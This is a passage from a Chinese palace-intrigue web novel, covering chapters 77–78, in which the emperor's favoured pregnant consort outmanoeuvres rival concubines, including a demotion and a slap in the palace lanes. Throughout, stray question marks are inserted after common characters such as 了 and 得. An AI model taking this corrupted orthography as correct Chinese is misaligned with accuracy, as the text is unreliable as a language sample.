她这才惊觉害怕,万分后悔方才言语之失,得?罪了?宓贵嫔不要紧,可若是因此得?罪了?皇上,从此再不得?圣宠,才是追悔莫及。家中因她相?貌最为美艳,才被送进后宫,父母都盼着她早上诞下?皇嗣,光耀门?楣,她怎能因这种小事失了?圣心。 白答应心头跳了?个不停。 李怀修眸色寒冷,他?又?非听不出白答应话?中的意思,这女子千辛万苦才怀上身子,有孕后又?受了?那番苦楚,他?不是没有忌讳,倘若因旁人几句话?而一语成谶……他?但凡去?想,就已经不想再留着那说话?的人。 他?宠着的女子,还轮不到旁人置喙。 李怀修声音没有一丝情绪,“白答应不敬上位,出口无状,即日起降为采女,禁足三月,无朕令,任何人不得?探视。” 白答应浑身一震,只觉五雷轰顶,无妄之灾。 明裳本意是想给白答应一个教训,她心中也骤然惊讶,皇上竟因这几句无心之言,如此震怒。 …… 圣驾从御花园出来,直接去?了?永和宫,明裳坐在銮驾内,从上了?銮仗,男人就一直没再搭理她。她大抵知晓这位为何不快,她倚靠在男人怀中,那位则一直在看手?中的书册,一个眼?神也没投到她身上。 想到方才白答应又?哭又?求,这位全无无半分心软,明裳不禁生出点怯意,回忆起当初自己?入圣眼?的一些手?段,实在拙劣,这位那般铁石心肠,若非自己?懂事些,怕是与今日的白答应并无不同。 圣驾行?了?一段路,明裳伏在男人胸口,指尖儿一会?儿戳上一下?,男人胸膛硬邦邦的,她想了?想,好似全身上下?都硬邦邦的,不知想到什么,明裳兀自先红了?脸蛋,不知自己?那指尖儿轻飘飘,一会?儿撩拨一下?,终于让李怀修生出不耐之色,完全没心思在手?中的治册上,他?一把抓住那只不老实的小手?,“知不知规矩?” 明裳先是摇头,见男人眼?色现出危险,缩缩脖子,乖得?跟猫儿似的,点着脑袋,又?引着男人的手?掌,贴到自己?的小腹,“皇上摸摸孩子,嫔妾觉得?,这些日子,他?长大许多。” 前些日李怀修摸这女子肚子时,还未明显显怀,现在却是能摸出一些,他?掌心轻轻贴着,在这女子的肚子上摸了?一会?儿。 稍许,他?停下?动作,明裳狐疑地掀眸,撞入男人的眼?中。 她听见男人沉声道:“日后不许说那些话?。” “这个孩子会?平安地生下?来。” “不会?有任何意外,朕也绝不会?允许生出任何意外。” 明裳微微怔住,想到徐美人小产的触目惊心,眸子垂下?,乖顺地依偎到李怀修怀里,与男人的手?掌一同抚着腹中的孩儿,轻声软语,“皇上放心,嫔妾与孩子都会?好好的。” 李怀修垂着眼?睑,眼?底稍许平和。 圣驾在永和宫停了?半个时辰,前朝有朝臣求见,圣驾又?回了?南书房。 白答应被降位的消息很快传入六宫,六宫嫔妃无不诧异,只知白答应是得?罪了?宓贵嫔才被降位禁足,然没人敢说,白答应究竟说了?什么话?,才让皇上这样震怒。不过经此一事,后宫愈发没有人敢轻易靠近宓贵嫔,生怕不知哪里让宓贵嫔不喜,届时御前直接一道圣旨,落得?与白答应一般的下?场。 第077章 第 77 章 出云阁 白采女那日回宫后, 当夜就发了高热,出云阁的宫人前去太医院请太医,当值的太医是个势力的主儿, 得知白采女得罪了宓贵嫔, 被皇上降位,再难得圣心, 推三阻四?,又说自己医术不精,又说白采女禁足, 无皇上的吩咐,他不敢擅自去出云阁看诊,连连打发她离开太医院。 小?宫女急得直哭,实在是没了法子,连夜跑去乾坤宫求见皇上, 不巧北郡王有急事?要禀, 她又被拦在宫外, 还是守门?的小?太监心善,见她实在可怜,让她去太医院找当值的小?太监, 是他远房的表亲, 能借他的情分开个退热的方子。小?宫女连连道谢感激,待捧着开好的药,回出云阁。 此时出云阁内,红鲤已经急得红了眼睛,见没有太医过来, 知晓是难为主子请到太医,先吩咐人赶紧去煎药, 主子身子越来越烫,一直烧下?去不是个法子,万一病得严重了可如何是好。 出云阁折腾一夜,翌日一早,白采女高热才?有消退的迹象,红鲤试了试主子额头?的温度,确实与寻常无异,缓缓舒了口气,疲累地?靠坐在床榻边,守着主子。 她抹了把眼角的泪水,想到主子变成现在这样,都是因为宓贵嫔,心里?也因此生出不满的恨意。皇上宠着宓贵嫔,可想过主子一夕从答应降到采女,该是有多难过。这宫中一向势力分明,主子如今的境地?,以?后的路还要怎么走。 红鲤是伺候在白采女身侧的人,将错处一股脑都推到宓贵嫔身上,却是忘了,是自家?主子先出口不善,否则也不会?得此下?场。 红鲤想着主子日后在宫里?有多难过,窗外传进几声吵嚷,她见主子眉心微皱,拧紧眉心,出殿去看。 出云阁的主子降到采女的位分,宫里?头?一应的用度宫人都要裁减。伺候白采女的宫人都知主子惹了皇上不喜,怕是再难得宠,再继续留在出云阁,也就只有受人作贱的份儿,因而?,外殿伺候的宫人,争着抢着要回内务府,重新安置伺候的宫所。 红鲤推开门?,斜睨着争抢离开出云阁的宫人,不耐烦地?扬声,“主子病着,都吵什么!” 红鲤是随白采女入宫的人,入宫后做了出云阁的大宫女,管束下?面的宫人,红鲤有几分手段,外殿的太监宫女见到红鲤出来,都噤了声,只是面上不如从前恭敬。 原本他们?被分到出云阁,得知要伺候白采女,万分窃喜。白采女是入宫三位主子中,容色最盛的一个,他们?盘算着,依着主子的出众的容色,迟早要得圣心,再怀上皇嗣,坐到娘娘位分也未可知,跟着主子必然?是前途无量。 谁想到,一夕之间,主子因得罪了宓贵嫔,被降到采女位分,还被皇上禁足,那道圣旨打得他们?措手不及,个个不禁唉声叹气,愁眉苦脸,主子怕是日后都没机会?翻身。 有人撇了撇嘴,言语不屑,轻慢地?抬起头?,“红鲤姐姐,主子是病了不假,但内务府也有公公过来传了话,说是今日就要依照采女的用度给?主子置办,多出的宫人要回内务府重新分配。主子病着,咱们?做奴才?的,也得有个顶事?的,给?奴才?们?置办置办,不然?奴才?们?回晚了内务府,是要看大公公脸色的,届时主子这也不好交代不是?” 说话的小?太监名叫小?远子,因嘴巴甜,做了出云阁的掌事?太监,平日红鲤有得好处的事?都会?吩咐小?远子去办,不想主子落魄,他竟第一个跳出来落井下?石。 主子位分再低也是主子,何时轮得着向内务府那群狗奴才?交代! 红鲤冷笑道:“小?远子,你还记得上回你得罪了内务府的管事?,哭着求着主子为你出面吗?主子给?你的赏赐也不少了,这么快就忘得一干二净,你的良心被狗吃了!” 小?远子被说得心虚,眼神左右闪躲,又觉得自己没错,人往高处走,水往低处流,白采女失势,他再继续跟着伺候,才?是蠢了。 他分辨道:“奴才?自然?记得白主子的恩情,待日后奴才?发达了,定不会?忘记主子!” 红鲤狠狠呸了一嘴,“你一个没根的太监,做什么发达的美梦!” 这番毫不掩饰地?讽刺,说得小?远子面红耳赤,直接涨红了脸,剩下?的小?太监听了也有些不快,红鲤却是不怕他们?,“一个个拜高踩低的东西,谁愿意滚就赶紧滚,別脏了主子的住处!” 得了准允,伺候的太监宫女们?早已收拾好包袱,半刻都不愿留下?。最后只剩下?两个瘦小?的宫女,嘴巴笨,不会?说话,即便回了内务府也讨不得好处,还不如继续留下?伺候白采女。 待红鲤烦躁地回了内殿,却见主子已经醒了,正靠坐着引枕,面容憔悴,红鲤心里?咯噔一声,“主子何时醒的?” 外面动静那么大,白采女已经清醒有一会?儿,她入宫后就看清了这宫里?的人心,此时并没多少恼怒,只道:“我有些口渴。” 红鲤没敢多话,立即倒了盏温水伺候主子,白采女慢慢饮着,在想日后的路要怎么走。得罪了宓贵嫔,有宓贵嫔受宠的一日,她就再难得宠。除非宓贵嫔失了圣心,可眼下?似乎是不可能。 有谁能与如今的宓贵嫔抗衡…… 她握着瓷盏思量着,眼底的神色慢慢冷了下来。 …… 徐美人小?产后,心绪郁结,身子断断续续一直没养好,太医时常进出谨兰苑。 廊下?,翠菊捧着煎好的汤药,小?心翼翼推开门?,进了内殿。 寝殿内燃着安神的熏香,徐美人是昨日才?得知白答应在御花园得罪了宓贵嫔,被皇上降位禁足,她心里?无端生出一股恐慌,不能再这样坐以?待毙下?去。 她立即又传了太医,要尽快调养好自己的身子,再侍奉圣驾。这个孩子没了不要紧,她刚进宫,还有侍寝的机会?。 徐美人这般安慰自己,接过翠菊端来的汤药,没有犹豫,忍着苦涩喝入了喉中。 她紧拧着眉,捏着帕子擦了擦嘴边的药渍,吩咐道:“将我之前绣的腰封取来,后午去一趟御前。” 翠菊望着主子面容的憔悴之色,有些不忍,“主子不如再歇歇身子,明日再去。” 再等下?去,宓贵嫔生下?皇嗣,依着她如今的圣宠,怕是要升到妃位。 徐美人摇头?,“等不得了。” 她并非要与宓贵嫔争抢什么,只是如今皇嗣尚且不多,皇上还有心分给?别的皇子公主几分疼爱,到来日宓贵嫔生下?皇嗣,要是皇子,她只怕帝王偏宠,让宓贵嫔的孩子轻而?易举坐到那个位子上。 譬如如今的张嫔,诞下?皇长子又如何,因母亲不得圣宠,皇长子甚至不如宓贵嫔腹中还未生下?的孩子,徐美人不敢赌,她必须要尽快再怀皇嗣。 后午,徐美人描了妆容,去了乾坤宫。她尚是美人位分,没有仪仗,小?产后身子还未好利索,走过一段宫道,身子就有些乏累,翠菊忙去扶住主子,忍不住劝道:“不急于这一时,主子还是再养养身子吧。” 徐美人坚持,再有一段路就到了乾坤宫,她好些日子没见到皇上,只怕皇上快要记不起她了。 她休息须臾,就起了身,没再继续耽搁,绕过一条宫道,徐美人抬步时,手臂被不轻不重地?碰了一下?,徐美人挑了挑眉,翠菊立即附耳低声,“主子,是白采女宫里?的人。” 徐美人朝翠菊的视线去看,眼眸微微眯起,瞧着前面过去的宫女,确实是白采女宫里?的红鲤。 徐美人虽与白采女一同进宫,但两人并不熟络,最初她还将白采女视为晋升的阻碍,直到如今白采女被降位禁足,于她而?言,也就没什么威胁。 她没有过多去想,眼见时候不早,还要求见皇上,得快些过去。 落日的一缕余光拂过女子乌黑的发鬓,徐美人上了汉白玉台阶,行到殿门?前,全?福海刚从正殿出来,瞧见是许久未见的徐美人,立马福了身子,“奴才?请美人主子安。” 徐美人知道全?福海是御前的大监,能在皇上身边伺候这么久,可见是有几分本事?。她素来不敢看轻了眼前的这个内宦,“全?公公免礼,我前段日子无事?,为皇上绣了腰封,今日身子养好,想着送到御前,不知皇上此时可是得空?” “美人主子来得巧了,奴才?这就回去通禀。” 全?福海回殿没多久,出来时脸上堆出的笑更加真切,躬着身子迎徐美人进殿。 中秋后乾坤宫就撤了冰盆,鎏金兽首香炉内燃着龙涎香,徐美人福了身子,李怀修让她免礼,问她身子可都好些了。 虽是随口的一句,仍让徐美人生出一分羞涩。 她柔声回道:“谢皇上关心,嫔妾身子已经好了许多了。” 她捧着绣好的腰封,呈到御案上,“嫔妾养病这段日子不能侍奉皇上身侧,心中有愧,想为皇上做些什么。嫔妾女红不精,还望皇上不要嫌弃。” 徐美人说自己不精女红,不过是自谦之词,腰封的双龙戏珠,不比内务府绣坊绣娘绣出的差。 李怀修掀眼去看,不由得记起那女子,他拧眉回忆,那女子得召幸后,好似从未给?他做过什么。李怀修脸色不由得有几分难看,又想到那人在家?宠出一副娇气的性子,写?字都不愿意拿笔,倒分毫不像为了入宫养出的脾气。 殿内有些静,徐美人见这位变来变去的脸色,不由生出些忐忑,小?心翼翼地?问,“皇上不喜欢吗?” 李怀修敛下?心思,只道了一句,“你有心了。” 徐美人呼吸顿了顿,想再说些什么,李怀修已经拿起御案上一封奏疏,“朕让人收起来,你无事?就退下?罢。” 原本徐美人今日过来,是想借着腰封,委婉地?请皇上今夜去谨兰苑,可是这位好像并没有要召幸她的意思,徐美人脸色有些僵,她没敢多说惹这位生厌,规规矩矩地?请身出了殿。 翌日,徐美人去了坤宁宫问安,皇后有些惊讶,问她身子可是好全?了,徐美人一一答过,皇后点了点头?,没再说什么。 听说昨日后午徐美人去了御前,今日在坤宁宫见到徐美人,明裳也不觉得奇怪,徐美人的意思自是想向那位表明,自己身子已好,可以?侍寝,可昨夜圣驾并未去谨兰苑,明裳倒有些奇怪,难不成徐美人在御前说了什么,让那位不高兴了? 明裳还未来得及多想,眼前跑近一个矮矮的小?团子。宝珠没让宫人跟着,像是不想让人知道她在这,探头?探脑向后张望两眼,见四?下?无人,才?跑到明裳跟前,从怀里?偷偷摸摸捧出两张宣纸,她匆匆忙忙福了身子, “贵嫔娘娘!” 明裳被这小?团子鬼祟的模样逗得好笑,不由得抚了抚小?腹,面容多了几分慈爱,扶着辛柳微低了身子,“宝珠公主在这里?做什么?” “宝珠有事?请求贵嫔娘娘。”宝珠纠结地?扣着手指,她不敢去找母后,又怕自己到乾坤宫扰了父皇政事?,父皇那样喜欢宓贵嫔,她便想请宓贵嫔帮自己把习的大字送到父皇面前。 她说明了缘由,恳切地?望向明裳。宝珠的眉眼偏向李怀修,又天性早慧,让人很难忽视宫中这个大公主。 明裳眼眸微深,“好,本宫答应公主。” 宝珠圆溜溜的眼珠亮了起来,像是怕她反悔似的,将练字的宣纸塞入了一旁的宫女手中,“贵嫔娘娘若是日后有事?要宝珠帮你,宝珠绝不会?有任何推辞。” 她怕出来的久,小?杜子找不到她被母后察觉,又转身迈着小?腿跑开。 辛柳打开宣纸拿给?明裳看,上面的习字虽尚有孩童的青涩,却也看出进步颇多,是下?足了功夫。明裳让她收起来,待明日寻个时辰送去御前。 回了永和宫,辛柳想着方才?的事?,仍觉得有些不妥,她屏退了宫人,给?主子奉上温水。 “主子,奴婢不解,宝珠公主的事?自有皇后娘娘裁决,主子从中插手,皇后娘娘得知,会?不会?生出芥蒂。” 明裳已经想过辛柳所想,但即便她不应宝珠公主所求,皇后娘娘就会?真的喜欢她吗? 她拭去唇边的水渍,“你可还记得当初杨才?人要见我时说过的话,我思来想去,陈宝林能是谁的人。” 明裳轻垂下?眼皮,“皇后娘娘母仪天下?,又是太后娘娘的侄女,然?膝下?没有皇子抚养,皇后娘娘几番试探张姐姐,大抵早已动了心思,倘若我诞下?皇子,皇后娘娘可还能继续容我。” “宝珠公主能想到让我送她的习字,可见与皇后娘娘并不亲厚。小?孩子总要让人低几分疑心,或许不知何时,宝珠公主也能于我有所助力。” 辛柳怔然?,她不知主子已经想过这么多,油然?感叹,“主子已经为腹中的皇嗣打算了。” 明裳抚着微隆的小?腹,没有再说什么。 她有所预感,日后的路怕是要更加艰难。 …… 得知白答应被降位禁足后,罗常在安静了许多,她入宫后学了规矩,没再像府中那样张扬,尤其?得知白答应因得罪了宓贵嫔受皇上责罚,她也不敢往宓贵嫔跟前凑。 罗常在请安回来,就在宫中煮茶习字,她费尽心思才?打听到那日皇上留徐美人在乾坤宫伺候笔墨,是因为徐美人与皇上对答的史册颇合皇上心意。罗常在未得召幸时,十分艳羡那些侍奉过圣驾的嫔妃,但真正侍寝后,她才?知晓,伺候那位实在算不上什么轻松的事?,要费颇多心思,她总觉得稍有不慎,不知哪句话就能得罪了皇上,整整一夜,心身俱疲。 罗常在煮了会?儿茶水,便没了耐性,要松叶过来陪她下?棋。她身边伺候的宫人,也唯有松叶伶俐,能勉勉强强地?与她对弈。 殿外宫人闻主子吩咐,跑去找松叶,过会?儿小?满从殿外进来,“主子要找松叶,方才?她跟奴婢说是去内务府领月钱了,这时候还没回来。” 罗常在有些不耐烦,“前日找她,她去了内务府领衣裳,今儿又去领月钱,下?面的宫人都做什么了,由着她一个二等宫女去跑这趟。” 听主子发问,小?满一时哑声,松叶是主子回宫后,内务府拨下?来的宫女,为人伶俐懂事?,伺候主子又勤快,没多久就被主子吩咐进内殿伺候,圣驾回宫后,少进后宫,更没召幸过主子,下?面伺候的宫人都是新拨来的,以?为主子不得圣宠,懒惰懈怠,但凡又脏又累的活儿都推给?不言不语伺候的奴才?,松叶便只能又伺候主子,又跑内务府。 小?满不知该怎么与主子说,只能轻声劝道:“奴婢出去瞧瞧,许是这会?子松叶就回来了。” 罗常在摆手让她去,小?满方出了殿门?,瞧见松叶脚步匆匆回来,鬓边的碎发散了两缕,大抵是一路着急,热得气喘吁吁,双颊通红。 小?满上前正要与她说主子寻她,一眼看见松叶手腕间不知什么时候多了一支玉镯,很是别致,见她多看,松叶拉了拉衣袖,随口道:“让内务府带的东西,小?满姐姐喜欢,改日我再托那个妹妹给?姐姐带一个。” 小?满不疑有他,随口答了一句,又让她赶快进殿,主子正找她,松叶把领到的月钱交给?小?满,上台阶时,余光见小?满已经离开,将那只玉镯取下?来塞入怀中,无声松了口气。 …… 到了第二日,临近晌午,明裳提着膳房做好的羹汤去了御前。全?福海见竟是贵嫔娘娘亲自提着羹汤,忙小?跑几步接到手中,将人迎进了殿。 待人进到殿里?,李怀修撂了笔,问她累不累,坐下?歇歇身子。明裳顺着男人的动作坐下?身,“嫔妾好多了,没有皇上说得那么娇贵。” 李怀修垂眼捏了捏她的脸蛋,仍没觉得长了多少肉,她如今可不是正娇贵着。 宫人布好羹汤,退出内殿,明裳用过午膳,只盛给?男人吃,“嫔妾吩咐膳房做了粟米百合燕窝羹,知皇上不喜吃甜,让膳房做了清淡的口味,皇上尝尝看。” 李怀修由着女子给?他盛过来,吃了两口,没觉出味道如何,见那人满心期待地?看他,违心地?夸赞了句,“不错。” 明裳弯了眸子,取出宝珠习字的宣纸,“昨儿嫔妾见到宝珠公主,公主怕扰了皇上政务,委托嫔妾将她近日习的大字拿给?皇上。” 闻言,李怀修挑起眉峰,将宣纸接到手中,这字比他前些日子去看,确实大有进步。他没问宝珠为何交给?她拿来,他倒也愿意见到宝珠能亲近这女子。 “明日十五,朕得空去看看宝珠。” 李怀修收了宣纸,又去摸明裳的小?腹,“孩子还闹你么?” 明裳依偎在男人怀里?,面庞柔和地?摇了摇头?,“近日在嫔妾肚子里?倒是乖了。” 两人说着话,明裳想到前日到御前的徐美人,脸蛋又不由得生出些闷意,“嫔妾听说徐美人身子一养好,就来皇上这儿了。” 李怀修俯下?眼,低低的“嗯”了一声,让人听不出其?中有什么别的情绪。 他眼色很淡,这女子有孕后,李怀修就一心在这女子身上,没心思再去召幸旁人,他不是不知后宫有多少人盯着这女子,下?令太医须每日到永和宫诊脉,务必要保证宓贵嫔顺利生产。 李怀修在想着旁事?,这女子忽然?将小?脸仰起来看他,不知在想什么,“嫔妾有事?要问皇上。” 李怀修回过神让她问,这女子开口便让他意想不到,“皇上觉得,嫔妾好看,还是新来的那三个妹妹好看?” 那声音一如既往的柔软好听,只是水盈盈的眸子一眨不眨,仿佛他只要不说是她,她就立马要跟他置气。 李怀修无声抿唇,眉心微拧,他前朝忙得脚不沾地?,哪有空整日绕着后宫的女人转,在他眼中,六宫嫔妃都长得相差无几,他没觉出有什么不同。 也就这女子,让他觉得颇为入眼。 见男人不答,明裳嗔着眸子,“皇上说不说嘛!不说,下?回就别想去嫔妾那儿了。” 闻言,李怀修凤眸眯起,钳住面前这张漂亮的脸蛋轻晃了两下?,压声,“朕不说,就不让朕去?” 明裳躲开男人的手,忍着笑,殷切地?点了点头?,美眸似波流转,盈盈盛了漫天星霞,唯独映出他的倒影。 李怀修心神一怔,低垂下?眼睑,眸色深沉地?凝在这张脸上 ,耳边极为清晰地?,听见胸腔内声声的震颤跳动。 稍许,他移开眸子,没再受这只妖精的蛊惑。 他抿了抿唇,漫不经心地?淡下?声,“你觉得朕是一个贪图女色的昏君?” 明裳眼神表示怀疑,“皇上最初宠着嫔妾,不是因为嫔妾生的好看吗?” 第078章 第 78 章 这人侍寝也有?一年多, 李怀修回忆这女子起初用手?段引他的情形,他不知想?到什么,眼底闪过一丝笑意, 揽着?明?裳, 手?臂的力气加重,凝着?这张脸蛋, 语气意味不明?,“朕起初召你,也不只是因?为朕的宓贵嫔美若天仙。” 明?裳被夸的有?点羞, 继续问还因?为什么,李怀修抚了抚那把细腰,眼眸沉暗,不由想?起初见这女子那日,她于亭中起舞, 那把细腰, 柔性极佳。 这女子是他的妃嫔, 临幸她不过自然而?然,顺理成?章。后来?倒让他开始食髓知味,直至现在。尤其那把腰身, 任由他反复催折, 爱不释手?。 男人指骨时而?叩一下那段腰身,明?裳觉得有?点痒,她动动身子,被人按到胸口?时,忽然想?到了什么, 她初次侍寝那夜,这位扣着?她的腰, 让她做那种姿势,后来?这位也似乎格外喜欢她那样,甚至与她说,让她再?抬得高些,明?裳眼睫扑了又扑,羞红了脸,这才明?白过来?。 还是一国之君呢,明?明?外人看来?不近女色,一本正经,谁能想?到这身沉肃的龙袍下是什么样,与外表不符的风流。 …… 徐美人自那日之后再?没去?过御前,六宫中如今的形势不知何时转了风向,杨才人入冷宫,宓贵嫔有?孕,又有?三位新人入宫,让余下的嫔妃不得不思考日后在宫里的路要如何去?走。 有?人认为宓贵嫔怀着?皇嗣,又得圣宠,是可依附之人。可惜宓贵嫔除去?张嫔,见谁都不搭理,让那些有?心依附的嫔妃,反而?无法亲近,暗悔当初宓贵嫔位低之时,没早早像张嫔一样来?往结交。 请安散去?,明?裳出了坤宁宫,下位的嫔妃要最后离开,贤妃与宓贵嫔相继而?去?,徐美人等低品阶嫔妃才踏出殿门。 徐美人住在昭阳宫,因?她的家世,昭阳宫中住着?的嫔妃时常与她走动,有?攀附之意。徐美人脾性柔和,也不曾倚仗母家颐气指使?,因?而?与其来?往的嫔妃就多了些。 高采女提着?裙摆,匆匆跟去?了徐美人身后,“徐姐姐是要回昭阳宫?嫔妾与徐姐姐同路,正想?与徐姐姐说说话。” 按理说,高采女入宫还早徐美人一年,只是位分不及徐美人,这句徐姐姐倒也当得。 两人同行不远,高采女瞧见走在前头的宓贵嫔,想?到宓贵嫔与徐美人并不和睦,有?意讨好,低声便与徐美人说道:“徐姐姐别看宓贵嫔现在得宠,不过是小门小户出身,比不得姐姐徐氏大族。” 她又压低了声,好似耳语,“这样的母亲生出的孩子,即便是皇嗣,也比不得徐姐姐日后腹中的孩子金贵。” 徐美人笑意淡了淡,没应她这句话,偏生这时候月香蹲下身为主子整理衣裙,她身子一顿,就隐约听见了高采女那句,主子小门小户出身。 说谁是小门小户出身,主子脾气好不与她们计较,她们倒是蹬鼻子上脸,前头孙宝林那桩事还没让这些人长长记性。 明?裳见她蹲在那儿咬牙切齿,问她怎么了?月香没忍住,便说了耳边听到的事。方才明?裳也是听见后头说的几句话,只是没月香听得这般真切,她眉眼冷下来?,扶着?月香的手?不徐不疾转了身子。 走在后面的高采女也止了脚步,瞄见宓贵嫔看她的眼神,忽然浑身一震,心道,难不成?宓贵嫔听见了她说出的话?是她与徐美人说多了,口?不择言,才一股脑地说出了口?。她惴惴不安,不禁猜测宓贵嫔听去?了多少。 徐美人也面容有?异,怕是宓贵嫔听见了高采女在她耳边那番话。徐美人暗道了句蠢货,人还未走远,就这么急不可耐。从前宓贵嫔的性子不是轻易发难的人,但宓贵嫔有?孕后,大抵是有?那位做靠山,是素来?不顾忌这些。 她先低了头,上前福了身子,赶紧把自己撇开,“方才高采女说错了话,不知贵嫔娘娘可是听到了,嫔妾正想?训诫她。” 明?裳低着?眉眼,轻抚着?小腹,看也没看过来?请罪的徐美人。 倘若今日换作是徐美人在她的位子上,能轻易放过吗?明?裳想?到行宫雪霁亭走水,徐美人明?里暗里说她有?意纵火的说辞,冷冷勾了勾唇角,徐美人也是个能隐忍的聪明?人。 有?孙宝林和白采女前车之鉴,高采女哪敢当着?宓贵嫔的面放肆,她嘴唇抖了下,“嫔妾……嫔妾无心之言,贵嫔娘娘勿怪!” 明?裳轻描淡写地掀起眼,“高采女说了什么让本宫不要怪罪?本宫听到你二人提到本宫,还以为是要让本宫停住身,说什么要紧事。” 云淡风轻的语气,却让高采女愈发汗流浃背,她弯折了腰,最后惊惶地直接跪下身子,“不是什么要紧事,娘娘不听也罢。” 高采女面色煞白,肩膀跟着一下一下发抖。 “本宫性子好,再?给你一次机会,方才在说本宫什么?”明裳拂去颊边的碎发,定定地看着?高采女的眼,“不想?说,不如就去冷宫与杨才人做伴。” 高采女直接吓得软了身子,她没怀疑宓贵嫔这句话,如今宓贵嫔如日中天,让她去?哪,还不是宓贵嫔在皇上面前一句话的事儿。当初杨才人有?多风光,而?今还不是败给了宓贵嫔。高采女悔得肠子都青了,她何必为讨好徐美人,而?得罪宓贵嫔,拣了芝麻丢了西瓜。可她怎敢再?说那几句讥讽,说出来?,宓贵嫔也不会让她好过。 她吓得哆哆嗦嗦,明?裳收回眼光,漫不经心地扫了徐美人一眼。徐美人捻着?帕子,也因?宓贵嫔骤然的发难,而?有?些不快,即便她在宫中的位分低于宓贵嫔,可她的母家在朝中举足轻重,宓贵嫔竟不给她半分颜面。 明?裳不觉有?何不妥,徐美人的母家再?厉害又如何,天下之主,坐在那个位子上的是当今皇帝,她虽不懂前朝,但从杨家堕落,她有?所意识,那位喜制衡之术,最忌惮一家独大,徐家越是风光,那位越是不满。卧榻之处,岂容他人酣睡。 她能入那位眼,还有?一点最为要紧,便是她虞家寒门出身,门丁零落,非那等世家大族,人丁零落,不足为虑。 高采女不知这两位间?的暗流,颤声哀求道:“嫔妾知错,求贵嫔娘娘饶了嫔妾吧!” “嫔妾真的知道错了,再?也不敢了!” 明?裳轻描淡写地斜了她一眼,这时,徐美人眼光看远,面容一闪而?过的异色,她同情地看了瞬吓得哭出来?的高采女,轻声劝道:“高采女也是无心之言,贵嫔娘娘何必与她斤斤计较。” 明?裳侧眸,给辛柳递了个眼色,她抚了抚小腹,倒不必与徐美人废这番口?舌。 辛柳得主子授意,冷笑一声,气势不减,“徐美人也是听到了高采女嘲讽贵嫔娘娘的话,徐美人闷声自问,高采女当真是无心之言?” “若高采女是在说徐美人不如贵嫔娘娘得皇上宠爱,徐美人也能全无芥蒂?” 明?裳唇角勾了下,捏着?帕子抵住嘴边,掩去?溢出的笑意,原以为辛柳要比月香稳重,大抵是被月香带坏了。 徐美人气得脸都白了,跪在地上的高采女暗道倒霉,大神打架,小鬼遭殃,她还不如安于现状,保全自身,何必掺和到这两位主子之间?。 她抬头正要说些什么,一眼瞧见远处过来?的圣驾,面容大惊,才明?白徐美人为何忽然低头。她再?不动声色地去?看宓贵嫔,宓贵嫔尚且一无所知。事已至此,宓贵嫔是不能轻易放过她,不如陪徐美人唱完这出戏,说不准皇上还会以为宓贵嫔恃宠而?骄,心生厌恶。 高采女心中盘算,哭得越发真情实感,“嫔妾即便位分低微,也是圣旨册封的采女,宓贵嫔尚是贵嫔之位,又无协理六宫大权,怎能说把嫔妾打入冷宫,就打入冷宫!” “宓贵嫔不要倚仗怀了皇嗣,就如此肆无忌惮,不把宫规放在眼里!” 在后头的全福海,听了这番话,神色大变,倏然去?看皇上的脸色,他不知发生了何事,但皇上最不喜后宫嫔妃倚仗圣宠,肆意妄为,高采女这顶帽子扣下来?,换作旁人,倒真的足以让皇上心生厌恶。 他脊背生出一层凉汗,正要请声,李怀修抬手?,打断了他,全福海闭紧了嘴巴,没再?生出动静。 明?裳蹙起细眉,指尖捏了捏帕子,眼光瞧去?高采女一瞬,见她每说一句,都朝远处看上一眼,忽然意识到什么,她眼眸轻动,猜到些许,然她并没回头,抬步走到高采女面前,没有?犹豫,扬手?就给了她一掌。 “啪”的一声,清脆响亮,两侧的宫道都有?回声,全福海瞧着?,直接目瞪口?呆,下意识摸了摸自己的脸,都觉得火辣辣的疼。 高采女直接被打得侧了身子,抚着?左脸,还没反应过来?,侧脸又辣又疼,她难以置信地睁大了眼睛,“宓贵嫔,你竟如此没有?规矩!” 明?裳忍着?手?心的麻意,面上还在云淡风轻,“本宫就是在教你规矩!” 徐美人也没想?到宓贵嫔这么狠,不过宓贵嫔动了手?,反倒正合她心意,徐美人见时候差不多,蓦地抬了眼,面上一闪而?过的惊讶,“皇上!” 她似才有?察觉,慌慌张张地屈膝福身,“嫔妾请皇上安。” 全福海跟着?皇上近前,不禁啧啧感叹,徐美人确实有?心机,不过她当皇上当真看不出么? 明?裳停顿须臾,这才转了身,屈膝给男人请安,只是在李怀修说起身后,她没有?起来?,脸蛋别别扭扭,还在生气。 她还怀着?身子,这么不知轻重。 李怀修怎会跟一个有?孕的女子计较,更何况没人比他清楚,这女子怀着?他的孩子,受了多少罪。 他倒底是上前,亲自扶起了人。将?那只打过人的手?握入掌中,明?裳要躲,他没让,看清那原本细白的掌心,又红又热,脸色直接沉了下来?,“掌掴这种事,也要你这个主子亲自去?做,留着?伺候的奴才有?什么用!” 伺候的宫人们神色倏然大变,扑通跪下了身子。 而?听了这番话的徐美人与高采女,面色比伺候的宫人们还要难看,高采女更是又气又无辜,分明?是宓贵嫔不由分说打了她,皇上怎么反而?更心疼打人的那个!她在这跪了这么久,皇上别说要问,看也不看她一眼。 还有?没有?天理了! 徐美人震惊之后,则生出一分慌色,皇上竟这样喜爱宓贵嫔。她攥紧了手?心的帕子,呼吸都变得有?些艰难。 明?裳也有?些惊讶这位的态度,她腹中应对?的一番说辞,倒是用不上了。 她咬唇,“皇上别怪他们,是嫔妾气糊涂了。” “高采女出言无状,几次顶撞嫔妾,嫔妾一时气急,才打了她。” 明?裳黏到男人怀里,仰起小脸,很是可怜,“嫔妾打了高采女,皇上不会责怪嫔妾吧,嫔妾只是想?教教她规矩,不是有?意的。” 那么重的的一巴掌,还不是有?意的?后宫有?谁教规矩,会上来?直接掌掴! 高采女也没想?到宓贵嫔变脸变得这么快,而?皇上居然也未责怪她半句,甚至还似要哄着?宓贵嫔,轻轻拍了拍宓贵嫔的身子。 她都要气的呕血了。 “皇上!”高采女侧脸的巴掌印还尤为清晰,鬓发都有?些散乱,她咬牙道,“嫔妾是皇上圣旨册封的嫔妃,要教规矩,也理应由皇后娘娘教导嫔妾。” “嫔妾言语有?失,宓贵嫔就倚仗腹中的皇嗣,口?口?声声要把嫔妾打去?冷宫,宓贵嫔如此逾越规矩,再?这样纵容下去?,宫规还如何服众!” 徐美人上前一步,她似并不偏颇,只是道出事实,“皇上,嫔妾以为高采女此言有?理。贵嫔娘娘虽位分尊贵,又怀皇嗣,但这后宫事,也该由皇上,皇后娘娘处置,贵嫔娘娘擅自掌掴高采女,又要威胁将?高采女打入冷宫,确实有?越俎代庖,侍宠妄为之嫌。” 